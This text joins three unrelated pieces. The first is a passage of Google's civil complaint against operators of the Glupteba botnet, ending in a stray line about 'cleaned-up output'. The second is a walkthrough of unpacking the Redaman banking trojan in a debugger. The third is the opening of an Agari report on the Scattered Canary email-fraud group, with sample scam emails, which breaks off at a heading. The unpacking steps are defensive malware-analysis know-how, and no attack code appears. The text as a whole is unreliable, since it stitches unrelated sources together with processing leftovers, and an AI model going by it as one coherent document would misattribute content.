108. At all relevant times, each Defendant is a person within the meaning of 18 U.S.C. §§ 1961(3) and 1962(c).
### The RICO Enterprise
109. The Defendants are a group of persons associated together in fact for the common purpose of carrying out an ongoing criminal enterprise, as described in the foregoing paragraphs of this Complaint; namely, creating and controlling a vast botnet using Glupteba malware, and using that botnet to execute numerous criminal schemes that harm and threaten to continue to harm Google, its users, and the public more broadly. These schemes include the Stolen Accounts Scheme, the Credit Card Fraud Scheme, the Disruptive Ads Scheme, the Proxy Scheme, and the Cryptojacking Scheme.
110. As described above, the Defendants and their co-conspirators have organized their operation into a cohesive group with specific and assigned responsibilities and a command structure, operating in the United States and overseas, targeting and using victim devices in the United States. Over time, they have adapted their operations and schemes to changing circumstances, recruiting new members to and enlisting new devices in their operation, developing new malware modules, and expanding the scope and nature of their activities.
111. The Glupteba Enterprise, including named Defendants and their unnamed co-conspirators (Doe Defendants), controls and uses multiple corporate entities to effectuate its various criminal schemes. One such corporate entity is Prestige-Media LLC, a Delaware limited liability company that owns the domain, QIP.ru, that is responsible for Extracard.net (used with the Credit Card Fraud Scheme). Prestige-Media also supports Trafspin.com, the website used to facilitate the Disruptive Ads Scheme. Another corporate entity controlled by the Glupteba Enterprise is Valtron LLC, a Russian entity that supports Trafspin.com.
112. The individual Defendants named herein—Dmitry Starovikov and Alexander Filippov—are each bot controllers involved in providing instructions to devices infected with the Glupteba malware, in furtherance of the criminal schemes alleged herein.
113. The Defendants and their co-conspirators constitute an association-in-fact enterprise within the meaning of 18 U.S.C. §§ 1961(4) and 1962(c): the Glupteba Enterprise. The members of the Glupteba Enterprise share the common purpose of developing and operating the Glupteba botnet worldwide, as set forth above.
114. At all relevant times, each of the Defendants were and are associated-in-fact with the Glupteba Enterprise and participated in the operation or management of the Glupteba Enterprise.
115. At all relevant times, the Glupteba Enterprise was engaged in, and its activities affected interstate and foreign commerce within the meaning of 18 U.S.C. § 1962(c).
### Pattern of Racketeering Activity and Predicate Acts
116. At all relevant times, the Defendants conducted or participated, directly or indirectly, in the conduct, management, or operation of the Glupteba Enterprise’s affairs through a pattern of racketeering activity within the meaning of 18 U.S.C. § 1961(5) and in violation of 18 U.S.C. § 1962(c), with such conduct and activities affecting interstate and foreign commerce.
117. Defendants have directly or indirectly engaged in an unlawful pattern of racketeering activity involving thousands of RICO predicate offenses including violations of the Computer Fraud and Abuse Act, wire fraud, identity fraud, and access device fraud. These activities have affected and continue to affect interstate or foreign commerce.
118. Google was injured in its business and property by reason of the Defendants’ violations of 18 U.S.C. § 1962(c), as described herein. These injuries are a direct, proximate, and reasonably foreseeable result of these violations, and Google will continue to be harmed.
119. Under 18 U.S.C. § 1964(c), Google is entitled to recover treble damages plus costs and attorneys’ fees from the Defendants.
### The Computer Fraud and Abuse Act Predicate Offenses
120. RICO provides, in 18 U.S.C. § 1961(1)(G), that any act indictable under 18 U.S.C. § 2332b(g)(5)(B) constitutes a RICO predicate act. Among the acts that are indictable under 18 U.S.C. § 2332b(g)(5)(B) are violations of 18 U.S.C. § 1030(a)(5)(A)—a provision of the Computer Fraud and Abuse Act (CFAA)—if such violation results in damage as defined in Section 1030(c)(4)(A)(i)(VI).
121. Defendants have violated and continue to violate the CFAA, 18 U.S.C. § 1030(a)(5)(A), resulting in damage as defined in Section 1030(c)(4)(A)(i)(VI), by infecting protected computers with malware, transmitting programs designed to carry out their schemes, and transmitting commands to infected computers. Each of these violations constitutes a separate RICO predicate offense.
122. **Transmission of Malware “Droppers.”** Defendants have intentionally caused damage to “protected computers” by transmitting malware “droppers” to those computers, thereby impairing the integrity of their systems and information, and allowing Defendants to access those systems. The infected computers are “protected computers” within the meaning of the CFAA because they are used in or affect interstate commerce or communication through the internet. Through this conduct, Defendants have caused damage to 10 or more protected computers in a one-year time period.
123. **Transmission of Malware Modules.** Defendants have transmitted malware modules to protected computers through the internet. Those modules damage the protected computers by disabling the users’ cybersecurity detection tools, anti-virus software, and system monitoring programs, as well as transmitting other modules to execute Defendants’ criminal schemes. Through this conduct, Defendants have caused damage to 10 or more protected computers in a one-year time period.
124. **Transmission of Commands.** Defendants also have transmitted commands to protected computers through the internet, thereby causing damage to those computers and enabling the Glupteba Enterprise to utilize these computers in its criminal schemes. Through this conduct, Defendants have caused damage to 10 or more protected computers in a one-year time period.
125. Google has suffered injury to its business or property as a result of these predicate offenses, including due to Defendants’ use of these violations in furtherance of the Stolen Accounts and Credit Card Fraud Schemes.
### Wire Fraud Predicate Offenses
126. Defendants, with intent to defraud and obtain money or property by means of false or fraudulent pretenses, commit wire fraud in violation of 18 U.S.C. § 1343 by transmitting or causing to be transmitted, by means of wire communication in interstate or foreign commerce, writings, signs, and signals for the purpose of executing fraudulent schemes. Defendants have violated and continue to violate the wire fraud statute in three ways, each instance of which constitutes a separate RICO predicate offense.
127. First, the Glupteba Enterprise commits wire fraud, in violation of 18 U.S.C. § 1343, each time that it tricks the owner of a device into unknowingly downloading and installing Glupteba malware on the owner’s device through fraud, misrepresentation, and deception. For example, the Glupteba Enterprise misused a known Google mark, YouTube, which constitutes an act of wire fraud, in violation of 18 U.S.C. § 1343.
128. Second, in connection with the Stolen Accounts Scheme, Defendants steal Google users’ login information (e.g., usernames and passwords), and then sell access to open browsers that are pre-loaded with the stolen login information, thereby deceiving Google through deceit and false pretenses as to the true identity of the person accessing the Google account. Each time that the Glupteba Enterprise facilitates an unauthorized login to a Google user’s account by a person other than the true Google user, for the purpose of obtaining money or property, the Glupteba Enterprise commits an act of wire fraud, in violation of 18 U.S.C. § 1343.
129. Finally, the Glupteba Enterprise commits wire fraud through the Credit Card Fraud Scheme. The Glupteba Enterprise deliberately markets credit cards through Extracard.net and markets those cards specifically for use to purchase ads fraudulently on Google or other Google services, knowing that the cards can be used in connection with fraudulent activity. The Glupteba Enterprise’s customers can use these cards to purchase Google Ads, falsely representing to Google that the cards are fully funded. The Glupteba Enterprise causes these transmissions because the Enterprise knows the transmissions can follow in the ordinary course of business and such use can reasonably be foreseen.
130. Google has suffered injury to its business or property as a result of these fraudulent schemes.
### Identity Fraud Predicate Offenses
131. Defendants commit identity fraud in violation of 18 U.S.C. § 1028(a)(7) by knowingly transferring, possessing, and using, without lawful authority, means of identification of their victims with the intent to commit, or to aid or abet, or in connection with, unlawful activity in violation of state and federal law and affecting interstate commerce.
132. Specifically, in connection with the Stolen Accounts Scheme and the Credit Card Fraud Scheme, the Glupteba Enterprise transfers, possesses, and uses, without authorization, the usernames and passwords of users whose account information has been stolen. Those usernames and passwords are “means of identification” because they belong to and identify specific individuals. The Glupteba Enterprise acts with the intent to commit unlawful activities that violate federal law and that constitute felonies under state law.
133. Google has suffered injury to its business or property as a result of these actions.
### Access Device Fraud Predicate Offenses
134. Defendants, knowingly and with intent to defraud, committed and continue to commit access device fraud in violation of 18 U.S.C. § 1029(a)(2) and (3) by trafficking in or using unauthorized access devices in the form of stolen passwords, credentials, and other account information in order to obtain anything of value aggregating $1,000 or more during a one-year period, and/or possessing fifteen or more unauthorized access devices, and affecting interstate or foreign commerce.
135. For instance, the Glupteba Enterprise loads stolen usernames and passwords and cookies onto virtual machines, and then sells access to stolen Google accounts (and the accounts of other technology companies). Each set of credentials in a virtual machine is an “unauthorized access device” because it is a means of accessing a user’s account and was stolen by the Glupteba Enterprise. The Enterprise possesses thousands of unauthorized access devices, which it has obtained during a one-year period.
136. Google has suffered injury to its business or property as a result of these actions, which the Glupteba Enterprise uses to carry out the Stolen Accounts and Credit Card Fraud Schemes.
### Conspiracy to Violate RICO
137. Google incorporates by reference each and every foregoing paragraph of the Complaint as if set forth in full.
138. Defendants have not undertaken the practices described herein in isolation, but rather as part of a common scheme. In violation of 18 U.S.C. §1962(d), each Defendant unlawfully, knowingly, and willfully agreed and conspired together and with others to violate 18 U.S.C. § 1962(c).
139. The Defendants knew that they were engaged in a conspiracy to commit multiple predicate offenses, and they knew that the predicate offenses were part of such racketeering activity, and their participation and agreement was necessary to allow the commission of this pattern of racketeering activity. This conduct constitutes a conspiracy to violate 18 U.S.C. § 1962(c).
140. The Defendants agreed to direct or participate in, directly or indirectly, the conduct, management, or operation of the Glupteba Enterprise’s affairs through a pattern of racketeering activity in violation of 18 U.S.C. § 1962(c). Each Defendant knew about and agreed to facilitate the Glupteba Enterprise’s schemes. The purpose of the conspiracy was to commit a pattern of racketeering activity in the conduct of the affairs of the Glupteba Enterprise, including the acts of racketeering set forth above.
141. Google has been and continues to be directly injured by Defendants’ conduct. But for the alleged pattern of racketeering activity, Google would not have incurred damages.
142. Google seeks injunctive relief and compensatory and punitive damages in an amount to be proven at trial.
143. As a direct result of Defendants’ actions, Google has suffered and continues to suffer irreparable harm for which there is not adequate remedy at law, and which will continue unless Defendants’ actions are enjoined.
### CLAIM 2
**Violations of the Computer Fraud and Abuse Act, 18 U.S.C. § 1030**
144. Google incorporates by reference each and every foregoing paragraph of the Complaint as if set forth in full.
145. Defendants intentionally accessed and continue to access protected computers without authorization and thereby obtained and continue to obtain information from the protected computers. The protected computers include devices infected with Glupteba malware, from which Defendants obtain information concerning the device’s owner, including usernames and passwords. The protected computers also include Google’s servers, which Defendants intentionally accessed without authorization to obtain information from Google concerning the account, and use of the account.
146. Further, as described above, Defendants knowingly caused and continue to cause the transmission of a program, information, code, and/or commands, and as a result of such conduct, intentionally caused and continue to cause damage without authorization, to the protected computers, the software residing thereon, and Google.
147. Defendants intentionally accessed and continue to access protected computers without authorization, and as a result of such conduct, recklessly caused and continue to cause damage to the protected computers, the software residing thereon, and Google.
148. Defendants intentionally accessed and continue to access protected computers without authorization, and as a result of such conduct, caused and continue to cause damage and loss to the protected computers, the software residing thereon, and Google.
149. Defendants knowingly and with intent to defraud trafficked and continue to traffic in passwords and/or similar information through which computers may be accessed without authorization.
150. Defendants’ conduct involved and affected, and continues to involve and affect, interstate and/or foreign communications and commerce, including involving protected computers located inside the United States as well as protected computers located outside the United States that are used in a manner that affects interstate or foreign commerce or communication of the United States.
151. Defendants’ conduct has caused damage to Google, including by impairing the integrity of the accounts being offered to certain of its users.
152. Defendants’ conduct has caused a loss to Google during a one-year period aggregating at least $5,000.
153. Google seeks injunctive relief and compensatory and punitive damages under 18 U.S.C. § 1030(g) in an amount to be proven at trial.
154. As a direct result of Defendants’ actions, Google has suffered and continues to suffer irreparable harm for which there is no adequate remedy at law, and which will continue unless Defendants’ actions are enjoined.
### CLAIM 3
**Violations Of The Electronic Communications Privacy Act, 18 U.S.C. §§ 2701 et seq.**
155. Google incorporates by reference each and every foregoing paragraph of the Complaint as if set forth in full.
156. Google accounts and Google’s servers running such services are facilities through which electronic communication service is provided to Google users and customers.
157. Defendants knowingly and intentionally accessed and continue to access Google accounts and Google’s servers running such services without authorization or in excess of any authorization granted by Google or any other party.
158. Google seeks injunctive relief and compensatory, statutory, and punitive damages in an amount to be proven at trial.
159. As a direct result of Defendants’ actions, Google has suffered and continues to suffer irreparable harm for which no adequate remedy at law exists, and which will continue unless Defendants’ actions are enjoined.
### CLAIM 4
**Trademark And Unfair Competition Violations**
160. Google incorporates by reference each and every foregoing paragraph of the Complaint as if set forth in full.
161. Since Google’s founding in 1997, its search engine has become one of the largest, most recognized, and widely used internet search services in the world.
162. Among its innovative goods and services, Google also offers a video sharing service under the famous YOUTUBE mark. YouTube, LLC launched the youtube.com website on April 24, 2005, and the mark YOUTUBE has been in continuous use ever since. Google acquired YouTube in November 2006, and thereafter maintained YouTube’s rights and use of the YOUTUBE mark.
163. Google has devoted substantial efforts and resources, both in the United States and internationally, to promote its services using its trademarks including YOUTUBE. Its platforms have had resounding success in the marketplace and have garnered a significant and loyal network of users, including consumers, advertisers, and content providers. Today, these platforms are among the most used services in their fields and the most visited websites and apps in the world.
164. Google owns numerous trademark registrations in the U.S. and around the world for its marks including YOUTUBE, including but not limited to incontestable U.S. Trademark Reg. No. 3711233, registered in 2009 and renewed in 2020, covering the following goods and services:
- **(Int’l Class: 09)** Downloadable software to enable uploading, posting, showing, displaying, tagging, sharing and otherwise providing electronic media or information over the Internet and other communications networks; application program interface (API) that enables developers to integrate video content and functionality into websites, software applications, and devices.
- **(Int’l Class: 35)** Advertising and promotional services on behalf of others; promotional services, namely, promoting the goods and services of others through online entertainment, online education, and sharing of multimedia content via the Internet and other communications networks; developing and providing marketing programs for advertisers, marketers, and content providers; providing a website where advertisers, marketers, and content providers can reach, engage, and interact with online users for the purposes of promotion or advertising.
- **(Int’l Class: 38)** Audio, video and multimedia broadcasting via the Internet and other communications networks; webcasting services; transmission of messages, data and content via the Internet and other communications networks; providing forums for the transmission of messages, comments and multimedia content among users in the field of general interest via the Internet and other communications networks; transmission of electronic media, multimedia content, videos, movies, pictures, images, text, photos, user-generated content, audio content, and information via the Internet and other communications networks; providing community forums for users to post, search, watch, share, critique, rate, and comment on, videos and other multimedia content via the Internet and other communications networks.
- **(Int’l Class: 41)** Entertainment and educational services, namely, providing a website featuring user-generated content, namely, electronic media, multimedia content, videos, movies, pictures, images, text, photos, audio content, and related information via the Internet and other communications networks on a wide variety of topics and subjects; Providing online journals, namely, blogs featuring information on the subject of the above-listed user-generated website content; Online digital video, audio and multimedia entertainment publishing services; Online digital publishing services; Entertainment services, namely, conducting contests.
- **(Int’l Class: 42)** Providing temporary use of non-downloadable software to enable uploading, capturing, posting, showing, editing, playing, streaming, viewing, previewing, displaying, tagging, sharing, manipulating, distributing, publishing, reproducing, and otherwise providing electronic media or information over the Internet and other communications networks.
This concludes the cleaned-up output in Markdown format. |
# Malware Analysis — Manual Unpacking of Redaman
In this post, we are looking to manually unpack the sample called Redaman, which is a banking trojan. Some of its capabilities include:
- Monitor browser activity
- Downloading files to the infected host
- Keylogging activity
- Capture screen shots and record video of the Windows desktop
- Collecting and exfiltrating financial data, specifically targeting Russian banks
- Smart card monitoring
- Shutting down the infected host
- Altering DNS configuration through the Windows host file
- Retrieving clipboard data
- Terminating running processes
- Adding certificates to the Windows store
Info from Unit42 Analysis.
What makes this sample unique and an excellent training sample to practice manual unpacking is because this sample performs a fairly simple packing process: PE overwrite and a secondary DLL Injection. Self-Injection, or in this example the PE Overwrite occurs when the malware allocates a “stub” in itself, transfers to that stub address, allocates that stub area and writes whatever malicious content it needs to in there, changes the permissions, and then runs from that overwritten area.
## Packed Sample
We can identify this file as packed based on a number of info: high level entropy on the main file with PEStudio. Checking in IDA, we see that first there is some obfuscation, barely any functions, and only a small amount of analyzed code.
To start we look for where virtual allocation of memory takes place which in this case it is the function VirtualAlloc. The return value for VirtualAlloc is the base address of the allocated region, which we can find in the EAX register. We put a breakpoint at the return of the function. This will help us to see how many times and where memory is being virtually allocated. We also want to add a breakpoint at the entry of VirtualProtect, this is where the protections and access are changed. The first argument to VirtualProtect will be the address to the memory section which protections will be changed. It needs to change the protections to get the permission to write.
Now we run the debugger until we hit our second breakpoint (the first one is always on the entry point of the file). From the screenshot we hit the breakpoint, we right-click on the address in EAX and follow in dump. We can see that at address 0003000 there is a large amount of zeros where VirtualAlloc has allocated space. Continuing on we hit the return of VirtualAlloc again at address 021B0000. So we know that VirtualAlloc is used at address 0003000 and 021B0000. Our next hit is the entry of VirtualProtect.
Checking the first argument passed to VirtualProtect in the EAX register we can automatically see that instead of zeros we now have what looks to be an exe (the MZ or hex 4D 5A gives it away). At this point we now have gotten to the point in the malware where not only has the main payload been unpacked but now it is ready to have its permissions and access changed. We now right-click on the dump and choose the “Follow in Memory Map.” In memory map we can see that at the address where the exe is loaded, (021B0000) that location has read and write protections. We now dump out that location and examine it.
## Unpacked File
Immediately after opening the “unpacked” file we notice that it is indeed packed again based on IDA. There are not enough functions and a small amount of analyzed code by IDA. Looking at the few functions that are available we can start to see some interesting actions taking place.
loc_4011AA looks to be a loop. The key is moved to EDX and XORed with a byte from unk_403000 then rotated left. Then there's some decreasing and increasing happening and then there is a conditional jnz which moves the code along only if not being equal to zero. This is most likely the encryption or encoding algorithm used.
Following along we can see that it is loading DLLs into a buffer. LoadLibraryA is called which provides a return to a handle that can be used in GetProcAddress below. Next, it pushes into a buffer RTLDecompressBuffer which decompresses the buffer which is in this case: NTDLL.DLL. Next called up is DLLGetGlassObject of NTDLL.DLL and then a call to GetProcAddress. We then see that EAX which holds RTLDecompressBuffer is moved to EDX and then called again. Looking at the documentation for RTLDecompressBuffer, the parameters are:
- [in] which is 102h
- [Out] Buffer which is [ebp+lpBuffer]
- [in] which is [ebp+dwSize]
- [in] buffer that contains the data in ECX which holds unk_403000 (encryption method)
- [in] which is the length 29CD6h
- [out] which is the return stored at EAX
This result is then cmp with itself and if it meets the conditional it continues on.
sub_40102A loads KERNEL32.DLL and calls RTLDecompressBuffer in the same way NTDLL.DLL is loaded in. Then we start to see the formation of a temp file. The malware uses GetTempFileNameW, creates the file with CreateFileW, writes to the file using WriteFile and then loads the file as a DLL using LoadLibraryA. An finally a buffer with the string “host 00000000000” before the code ends. The zeros are probably changed to some unique ID that the malware uses to send back to a C&C server.
That’s all we can get out of IDA so now we move to the debugger and use the same methods to find the payload DLL.
## Unpacking the “Unpacked” File
Since we know the next step of this malware is to perform a DLL injection, we can put a breakpoint at LoadLibraryW (not LoadLibraryA). 'A' stands for ASCII and 'W' stands for byte string and the 'A' calls are just the wrappers around the 'W' ones so placing the breakpoint at the LoadLibraryW will hit all the load DLL calls. From there we can see the path where the DLL will be dropped.
Checking that location we can find the file and checking in PEStudio we can see that it is a DLL (file maybe hidden).
## Conclusion
So to wrap things up, we successfully unpacked the initial Redaman file using VirtualAlloc and VirtualProtect, we then discovered the encryption algorithm it uses, and finally unpacked once again with LoadLibraryW to find the payload DLL. Thanks for reading. |
# AGARI CYBER INTELLIGENCE DIVISION
## THREAT ACTOR DOSSIER: Scattered Canary
### Executive Summary
In a first, Agari has cataloged the evolution of a Nigerian cybercriminal organization from its emergence as a one-man shop into a powerful business email compromise (BEC) enterprise employing dozens of threat actors. BEC has continued to grow, taking the number one spot for greatest financial losses from Internet crime. In a recent report, the FBI’s Internet Crime Complaint Center (IC3) reported that more than 20,000 businesses lost nearly $1.3 billion to BEC attacks in 2018. Globally, BEC attacks have cost more than $13 billion in losses over the past five years.
But with the West African gang we’ve named Scattered Canary, we have a deeper look at how business email compromise is connected to the rest of the cybercrime. With over ten years of visibility into Scattered Canary’s operations, we have deep insight into how the group grew from a single cybercriminal working Craigslist scams into an entire organization that consists of dozens of criminals, each with specific tasks.
When the first member of Scattered Canary, who, for the purposes of this report, we call Alpha, began his operations, he was a lone wolf—working mostly Craigslist scams as he learned the tricks of the trade from a mentor. However, within a few years, he had honed his craft enough to expand into romance scams, where he met his first “employee,” Beta. Once they had secured enough mules via their romance scams to launder their stolen money, they shifted from targeting individuals to targeting enterprises, and the group’s BEC operation was born.
Since its inception, at least 35 different actors have joined Scattered Canary in its fraudulent schemes. The group has turned to a scalable model through which they can run multiple types of scams at the same time. And with multiple tools designed to help them expand their operations and stay hidden from law enforcement, it is no wonder that they are seeing massive success.
While BEC remains a favorite due to its ease and success, a look into Scattered Canary’s operations demonstrates that these groups are not one-trick ponies. At any given time, Scattered Canary is involved in a number of different types of scams simultaneously—including romance scams, tax fraud, social security fraud, employment scams, and more. And this is only one organization, out of the hundreds currently residing in West Africa and around the world.
With this much involvement between members, and so much connection between crime type, we must look at the bigger picture to truly understand the enormity of the cybercrime problem. If Scattered Canary can be seen as a microcosm for the rapidly evolving organizations behind today’s most pernicious email scams, this report demonstrates that a much more holistic approach—one based on threat actor identity rather than type of fraudulent activity—is required to detect email fraud and protect organizations.
## Scattered Canary: From 419 Startup to BEC—Big Enterprise Corporation
This investigation by the Agari Cyber Intelligence Division (ACID) into the cybercriminal group we’ve named Scattered Canary offers unprecedented visibility into eleven years of fraud and criminal activities, and the growth of a 419 startup into a fully operational BEC business. From our research, we have discovered that BEC actors are playing very active roles in many other forms of criminal activities—a fact that showcases just how much of an impact these groups can create.
### Fraud as a Growth Industry
In today’s rapidly-evolving cybercrime economy, business email compromise (BEC) has emerged as a growth industry all its own. According to the most recent Internet Crime Report from the FBI’s Internet Crime Complaint Center (IC3), “revenues” for this advanced form of email fraud nearly doubled in 2018—to $1.3 billion. In all, more than $13.5 billion has been lost to BEC scams since 2013. But investigation into the criminals behind BEC shows that $13.5 billion is likely just the tip of the iceberg. Since 2015, BEC complaints have doubled year after year and currently account for 45% of all reported complaints to IC3.
### Agility: Essential for Rapid Diversification
One common misconception is that crime rings operate within set verticals—that BEC groups only run BEC scams, groups focused on romance scams only run romance scams, and so forth. But like entrepreneurs in any industry, cybercriminal organizations work to achieve growth by developing and validating scalable business models across a diversified set of revenue streams. Throughout our research into Scattered Canary, we can see how the main threat actors encountered periods where opportunities for diversification presented themselves, and they boldly and rapidly pushed forward into new terrain.
Due to their agile working practices, they have been able to bring in extra skilled “staff” at a moment’s notice, typically by flaunting their wealth to display the trappings of their success. Trust encourages a nepotistic approach to candidate selection, and many relationships are formed while still in the Nigerian education system where talent is easily spotted, and where recruitment can flourish naturally.
As we have discovered, the same groups that reap billions in BEC schemes each year are also partly to blame for the $360 million lost to romance scams, the $1 billion hijacked in real estate transactions, and millions more pilfered through W-2 scams, payroll diversions, and other types of fraud. This suite of email-based attack vectors is operated concurrently by modern-day cybergangs including Scattered Canary, and represent the apex of years of both massive growth and massive success.
### Catching Sight of Scattered Canary
Through extensive active defense engagements and research over the last six months, we have been able to build a detailed picture of not just the tactics and techniques currently used by Scattered Canary, but also historically how they have adopted these over a period of many years. While this criminal organization’s activities now center around BEC, and extend to romance scams, credit card fraud, check fraud, fake job listings, credential harvesting, tax schemes, and more, these actors came from much humbler beginnings, starting with basic Craigslist scams in 2008.
Given the wide range of its activities, the extended ecosystem of individual actors with which it collaborates, and the persistent optimism present in its range of email addresses, we have dubbed this organization “Scattered Canary.” Over the course of active engagement with operatives of this group, an ever-growing global footprint has emerged, eclipsing that of even London Blue—the UK-based threat group we uncovered in December 2018.
Scale aside, we are resolute in our conclusion that BEC can no longer be seen in isolation and thus unrelated to other email deployed criminal enterprises. Instead, we must view it as part of a larger ecosystem of cybercrime, with BEC as its current apex. Infrastructure, and actors, are common across the entire cybercrime industry, and knowing this will help to generate further discussion about ways to curtail and shut down these maturing operations.
## First Contact: Scattered Canary Comes Calling
We first identified Scattered Canary when, in a rather bold move, the group impersonated a senior executive at Agari in an email targeting our Chief Financial Officer. This isn’t the first time our CFO has been targeted by a nefarious executive impersonator. The criminal gang London Blue appeared on our radar in exactly the same way. So why have two unrelated cybergangs made what seems like a high-risk decision to attack a firm focused on stopping advanced email threats?
The answer is multifaceted. In many cases, they have not deemed it necessary to their tactics, techniques, and procedures (TTPs) to be aware of the industries of their targets. In order to carry out the high volume of attacks that these larger gangs perpetrate, they strip the process back to its most basic components, as any smart business would. The “essentials” comprise of the name and email address of a CFO (or comparable financial executive) and the name and email address of the CEO for the same organization. Once they have secured this information, their reconnaissance need not go any further, as these details are fed into their existing infrastructure, and any replies will be subject to non-industry specific social engineering.
Another reason cybercriminals are lax about their targets is likely due to their geographic location. Many feel that they have a home team advantage living in Nigeria, where they are free to pay off law enforcement to look the other way. Despite the introduction of the Nigerian Cybercrime Act 2015, which carries a fine of up to 10 million naira for unlawfully accessing a computer system or perpetuating fraud by using electronic messages, cybercrime in the country has continued to expand. Criminals can often secure millions in profit through BEC and other tactics, and are both willing and able to give local law enforcement enough to keep them quiet. By doing so, they ensure that their operations can continue while they are protected from persecution.
### An Attack on Agari
On November 29, 2018, Scattered Canary sent an attack email to Agari CFO Raymond Lim, enquiring as to his availability to send out a domestic wire transfer. This display name deception attempt was quarantined by Agari Advanced Threat Protection™, and we then actively engaged with the attacker in an attempt to establish his true intentions. What followed was a series of engagements that resulted in our team gaining deep insight into this group—including its scattershot origins, how its actors fit together, and how it achieved its remarkable growth trajectory.
#### Messages
**From:** Patrick Peterson <[email protected]>
**To:** “Raymond Lim” <[email protected]>
**Subject:** URGENT REQUEST
Hi Raymond,
I need you to make a domestic wire transfer to a vendor for a due invoice. Do you know how long it would take before the fund is processed to the account?
Kind Regards,
Patrick
Sent from my iPhone
Using an unrelated persona account, we reached out to the actor and asked them to send over the details of the wire transfer they wished us to make.
#### Messages
**From:** Patrick Peterson <[email protected]>
**To:**
**Subject:** URGENT REQUEST
Patrick,
I’m working from home this week, but I should be able to help. Please send details.
Thx,
Karen
Sent from my iPhone
It wasn’t long before we received a reply containing the full details for both the bank account and the amount of $19,725.
#### Messages
**From:** Patrick Peterson <[email protected]>
**To:**
**Subject:** URGENT REQUEST
Hello Karen,
Find the vendor’s details below, make the payment as soon as you can and I will really appreciate if you can send me the confirmation remittance once you are done.
Mount Juliet tn. 37122
Routing number -
Account number -
Amount: $19,725
I will send the backup document when I am done with my meetings later today.
Kind Regards,
Sent from my iPhone
As is common with nearly all our active engagements that request a bank payment, the request was caveated with a requirement for a confirmation receipt to be sent upon completion. This document is an essential part of the operational paperwork, as it allows individual actors to prove to the Scattered Canary executive team that a successful payment has been obtained. It also allows them to counter any argument by the mule account go-between—especially if they are a third-party mule account broker—that no payment has been received, when in actual fact it has. Working as an opportunistic criminal, alongside other opportunistic criminals, does not come without its challenges.
After this initial engagement, we continued interacting with Scattered Canary for nearly two more months. Over the course of this engagement, we coerced the group to send us eight different mule accounts used to receive illicit funds from BEC victims and passed this information to law enforcement and financial partners. Using a combination of active engagement and other tactics, we were able to gain significant insight into Scattered Canary’s history, methods, and primary actors. What follows is an overview of what we discovered during our investigation.
## Who Is Scattered Canary? A Flock of Fraudsters Comes into Focus
BEC mastermind. Craigslist scammer. The romance victim recruited as a money mule. In our research into Scattered Canary’s growth and evolution, we were able to map out dozens of relationships, an entire infrastructure, thousands of email discussion threads, hundreds of romance and fraud victims, dozens of scam kits, and other evidence that helps connect the dots between a wide universe of threat actors and actions associated with this West African fraud ring.
In this and groups like them, hierarchical structures center on a few senior members who direct operations while outsourcing specific duties to an open web of freelance agents. In distributed networks that in some ways resemble the recombinant structure of terrorist cells, honor among these thieves runs deep. Symbiotic relationships are built, fostered, and rewarded. News of betrayal and bad “business practices” travels fast and can have a detrimental effect on an actor’s ability to work with other fraudsters, and ultimately continue their business.
In this report, we examine many of Scattered Canary’s activities, approaches, and connections, which we believe encompass only a small subset of what may be a larger organization with a more expansive circle of influence.
## From Early Bird to BEC Juggernaut: Making All the Right Moves
Scattered Canary’s fraudulent history can be traced as far back as October 2008, when the group first arrived on the cybercriminal circuit. Throughout the past decade, what was once a single threat actor working the Craigslist angle has grown into a fully operational BEC and cybercrime machine.
Over the last eleven years, Scattered Canary’s central figure, “Alpha,” transitioned from individual contributor running Craigslist scams and check fraud to CEO of an organization focused on business email compromise. Today, he directs operations and leverages outside expertise on an ad-hoc basis to test and refine new approaches to email fraud in pursuit of evermore remunerative scams. Based on intelligence gathered from Scattered Canary, we have been able to reconstruct the group’s transformation through the years—as well as dozens of tactics used in its scams. This is the story of how a 419 start-up grew into a BEC powerhouse.
### 2008–2010: Starting Small
Based on historical research into Scattered Canary’s operations, the group started with a single individual, who we call Alpha in this report. Alpha started out in the trenches of Craigslist scams with his mentor, Omega, who would expose Alpha to things like check fraud and romance scams. Alpha’s early role was fairly simple: engage with individuals, who he chose based on the goods they were selling, and then provide personal shipping addresses back to Omega. At the time, Craigslist was a training ground for West African scamming. New players to the cybercrime scene could use the platform to hone their social engineering skills before moving on to other types of fraud, such as romance scams.
The basic premise of a Craigslist check fraud has become a criminal classic, and it starts with the target listing a good or service on the platform. The scam starts when the scammer reaches out to the potential victim, often asking for the face value of the product, then offering more money in exchange for the victim sending a portion of that money to someone else. For several years, this is where Alpha would hone his scamming tradecraft, setting the stage for his BEC enterprise only seven years later.
### 2010–2014: Branching Out
Using the social engineering knowledge he gained from working Craigslist scams, Alpha began engaging in romance scams where he communicated with several victims through social media, text messages, and Google Voice. Over this period, victims sent selfies, photos with friends, love messages, and sweet nothings sharing that they’d been thinking about Alpha. In order to maintain the fraudulent persona, Alpha even sent flowers to two victims—once in 2012 and again in 2014.
But why would someone invest the time and effort into pretending to be someone else just to break their hearts? As with all scams, actors have one goal in mind: money. By pretending to be a fake lover, romance scammers are able to fool victims into giving them access to their bank accounts and retirement accounts or into purchasing prepaid debit cards to send to the fraudsters. Once a romance victim has been milked out of all the money possible, they are generally then converted into mules for when the scammer needs something physically moved from one place to another, or when he needs fraudulent funds moved between accounts.
Alpha quickly learned the value of a romance mule. By using other people to do his dirty work, he could engage with fewer clients and decrease his risk of being caught, all while seeing increased profit margins. And as Scattered Canary grew over time, romance scam victims would end up being a primary source for mule accounts.
The story of one Scattered Canary’s romance victim exemplifies the lengths to which these groups use and reuse their victims until there is literally nothing left to exploit. By March 2016, one of Scattered Canary’s members had built enough trust with a romance victim—who we’ll call Jane—that she became a frequent source of new mule accounts for the group. Since she had been converted to a mule at this point, it’s safe to assume that Scattered Canary had already stolen as much money from her as they could. Over the next eighteen months, Jane opened five mule accounts and bought twenty prepaid cards that were, unbeknownst to her, used by the group to facilitate other scams.
After the new accounts were opened, Jane sent her fictitious online boyfriend the account credentials, using passwords like weare4ever and 2hearts1love. Over time, these passwords became things like 2muchmystery and iam2wornout as Jane grew tired of the mysterious relationship with her online lover. Unfortunately and sadly, Jane passed away in September 2017. Even after her death, though, Scattered Canary continued to victimize her. In October 2017, a member of the group attempted to take out an auto loan using Jane’s personal information, providing more evidence that these groups are only interested in one thing—money.
While losses related to romance scams are typically tracked on their own, romance and BEC scams are very close cousins when it comes to fraud. In almost every case investigated by our team, when banking details of a phishing email included a person’s name, that person was an unwitting participant of the BEC game. Over the years, we have had the honor of speaking with several victims. In many cases, the victims simply believed that they were in a legitimate online relationship and were unaware of the fraud they were committing. The devastating piece is that many of these victims spent years entangled in the scheme—in one case over nine years—before being notified by external parties or law enforcement.
### 2015–2017: Pivoting to Enterprises
